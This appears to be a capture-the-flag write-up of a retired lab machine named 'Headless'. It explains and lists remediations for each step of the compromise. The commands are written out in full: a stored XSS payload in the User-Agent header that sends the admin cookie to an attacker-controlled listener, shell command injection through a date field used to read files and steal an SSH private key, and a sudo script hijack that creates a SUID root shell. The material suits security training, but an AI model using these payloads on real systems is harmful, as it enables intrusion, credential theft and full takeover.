Headless
Summary
I scanned the target and found only two exposed services: SSH on port 22 and a Python Flask web application on port 5000. The application's public support form logged the submitter's User-Agent header and later rendered it unsanitised in the administrator's browser, enabling a blind stored cross-site scripting attack. Submitting the form with a JavaScript beacon as the User-Agent caused the payload to fire when the admin reviewed the ticket, exfiltrating the signed admin session cookie.
With that cookie, I accessed the restricted /dashboard, whose date-check feature concatenated user input directly into a shell command. OS command injection through the date parameter executed arbitrary code as application user dvir; I then exfiltrated dvir's SSH private key for a stable interactive shell. Once on the box, I found a password-less sudo rule for /usr/bin/syscheck, which blindly executed initdb.sh from dvir's own home directory.
Overwriting that file with a malicious script and triggering syscheck via sudo ran my own commands as root, completing full system compromise.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"Attack path — how the box was taken
Exact commands 1
nmap -sV -sC -p- --min-rate 5000 -oA headless_nmap $TARGETExact commands 2
curl -sS -i http://$TARGET:5000/ffuf -u http://$TARGET:5000/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -mc 200,301,302,403Exact commands 2
python3 -m http.server 8080curl -sS -X POST http://$TARGET:5000/support -H "User-Agent: <script>var i=new Image();i.src='http://$ATTACKER_IP:8080/?c='+document.cookie</script>" --data 'fname=test&lname=test&email=test@test.com&subject=help&message=test'FixSanitise HTTP header values before rendering them in any admin view, and harden the session cookieCritical
Exact commands 1
curl -sS -b 'is_admin=[REDACTED: recovered credential]' http://$TARGET:5000/dashboardExact commands 2
curl -sS --max-time 6 -b 'is_admin=[REDACTED: recovered credential]' -X POST "http://$TARGET:5000/dashboard" --data-urlencode 'date=2023-09-15;id' | sed -n '1,120p'curl -sS --max-time 6 -b 'is_admin=[REDACTED: recovered credential]' -X POST "http://$TARGET:5000/dashboard" --data-urlencode 'date=2023-09-15;cat /home/dvir/user.txt' | sed -n '/output-content/,/<\/div>/p' | sed -E 's/<[^>]+>//g' | sed '/^[[:space:]]*$/d'FixValidate the date parameter strictly and never pass user input to a shell commandCritical
Exact commands 2
curl -sS --max-time 6 -b 'is_admin=[REDACTED: recovered credential]' -X POST "http://$TARGET:5000/dashboard" --data-urlencode 'date=2023-09-15;cat /home/dvir/.ssh/id_rsa' | sed -n '/output-content/,/<\/div>/p' | sed -E 's/<[^>]+>//g' | sed '/^[[:space:]]*$/d' > /tmp/headless_keychmod 600 /tmp/headless_key && ssh -i /tmp/headless_key -o StrictHostKeyChecking=no dvir@$TARGETExact commands 3
sudo -lcat /usr/bin/syscheckssh -i /tmp/headless_key -o BatchMode=yes -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null dvir@$TARGET 'cd /home/dvir && cat > initdb.sh <<"EOF"
#!/bin/bash
cat /root/root.txt > /tmp/rootflag
chmod 644 /tmp/rootflag
cp /bin/bash /tmp/rootbash
chmod 4755 /tmp/rootbash
EOF
chmod +x initdb.sh
sudo /usr/bin/syscheck >/tmp/syscheck.out 2>&1
cat /tmp/rootflag'FixRemove the password-less sudo rule for syscheck and ensure root-executed scripts are root-owned and immutableCritical
Attack patterns used
The transferable techniques behind this compromise.
SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004
What it is
Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.
Why it works
Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0) |
| 5000/tcp | http Werkzeug httpd 2.2.2 (Python 3.11.2) |